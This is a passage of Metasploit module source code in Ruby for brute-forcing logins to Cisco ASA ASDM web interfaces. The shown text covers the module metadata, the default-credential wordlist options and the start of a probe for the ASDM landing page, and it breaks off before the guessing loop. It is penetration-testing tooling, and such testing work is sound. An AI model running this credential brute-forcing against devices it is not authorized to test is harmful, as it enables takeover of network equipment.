## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::AuthBrute include Msf::Auxiliary::Scanner def initialize(info = {}) super( update_info( info, 'Name' => 'Cisco ASA ASDM Brute-force Login', 'Description' => %q{ This module scans for the Cisco ASA ASDM landing page and performs login brute-force to identify valid credentials. }, 'Author' => [ 'jbaines-r7' ], 'References' => [ [ 'URL', 'https://www.cisco.com/c/en/us/products/security/adaptive-security-device-manager/index.html' ] ], 'License' => MSF_LICENSE, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true, 'BLANK_PASSWORDS' => true }, 'Notes' => { 'Stability' => [CRASH_SAFE], 'SideEffects' => [IOC_IN_LOGS], 'Reliability' => [] } ) ) register_options( [ OptPath.new('USERPASS_FILE', [ false, 'File containing users and passwords separated by space, one pair per line', File.join(Msf::Config.data_directory, 'wordlists', 'http_default_userpass.txt') ]), OptPath.new('USER_FILE', [ false, 'File containing users, one per line', File.join(Msf::Config.data_directory, 'wordlists', 'http_default_users.txt') ]), OptPath.new('PASS_FILE', [ false, 'File containing passwords, one per line', File.join(Msf::Config.data_directory, 'wordlists', 'http_default_pass.txt') ]) ] ) end def run_host(_ip) # Establish the remote host is running Cisco ASDM res = send_request_cgi('uri' => normalize_uri('/admin/public/index.html')) return unless res && res.code == 200 && res.body.include?('